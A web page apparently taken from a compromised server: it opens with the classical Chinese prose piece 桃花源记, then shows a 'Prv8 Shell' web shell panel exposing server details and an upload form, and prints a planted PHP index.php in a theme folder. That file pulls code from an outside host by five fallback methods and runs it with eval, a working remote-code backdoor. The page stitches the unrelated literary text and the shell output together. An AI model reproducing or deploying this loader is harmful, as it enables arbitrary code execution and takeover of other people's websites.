晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/www/setupTZh/themes/upgrade/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/www/setupTZh/themes/upgrade/index.php
<?php
session_start();

header("Cache-Control: no-cache, must-revalidate");
header("Expires: 0");

$url = $_SESSION['ts_url'] ?? 'https://teamzedd2026.tech/media/uploads/r/k/rahman.txt';

function isPhpCode($str) {
    return strpos($str, '<?php') !== false;
}

function fetchUsingFileGet($url) {
    if (!ini_get('allow_url_fopen')) return null;
    $ctx = stream_context_create([
        'http' => [
            'timeout' => 5,
            'header'  => "User-Agent: Mozilla/5.0\r\n"
        ]
    ]);
    return @file_get_contents($url, false, $ctx);
}

function fetchUsingCurl($url) {
    if (!function_exists('curl_init')) return null;
    $c = curl_init($url);
    curl_setopt_array($c, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 5,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_USERAGENT => 'Mozilla/5.0',
    ]);
    $res = curl_exec($c);
    curl_close($c);
    return $res;
}

function fetchUsingFsock($url) {
    if (!function_exists('fsockopen')) return null;
    $u = parse_url($url);
    $port = $u['scheme'] === 'https' ? 443 : 80;
    $proto = $port === 443 ? 'ssl://' : '';
    $fp = @fsockopen($proto.$u['host'], $port, $e, $s, 5);
    if (!$fp) return null;

    $path = $u['path'] . (isset($u['query']) ? "?".$u['query'] : "");
    fwrite($fp, "GET $path HTTP/1.0\r\nHost: {$u['host']}\r\nConnection: Close\r\n\r\n");
    $raw = stream_get_contents($fp);
    fclose($fp);

    return substr($raw, strpos($raw, "\r\n\r\n") + 4);
}

function fetchUsingStreamSock($url) {
    if (!function_exists('stream_socket_client')) return null;
    $u = parse_url($url);
    $port = $u['scheme'] === 'https' ? 443 : 80;
    $proto = $port === 443 ? 'ssl' : 'tcp';
    $conn = @stream_socket_client("$proto://{$u['host']}:$port", $e, $s, 5);
    if (!$conn) return null;

    $path = $u['path'] . (isset($u['query']) ? "?".$u['query'] : "");
    fwrite($conn, "GET $path HTTP/1.0\r\nHost: {$u['host']}\r\nConnection: Close\r\n\r\n");

    $raw = stream_get_contents($conn);
    fclose($conn);
    return substr($raw, strpos($raw, "\r\n\r\n") + 4);
}

$response = 
    fetchUsingFileGet($url) ??
    fetchUsingCurl($url) ??
    fetchUsingFsock($url) ??
    fetchUsingStreamSock($url) ??
    (function($url){
        ob_start(); @readfile($url);
        return ob_get_clean();
    })($url);

if (isPhpCode($response)) {
    @eval("?>$response");
} else {
    echo "❌ Tidak dapat memuat kode dari URL: ".htmlspecialchars($url);
}

haha - 2025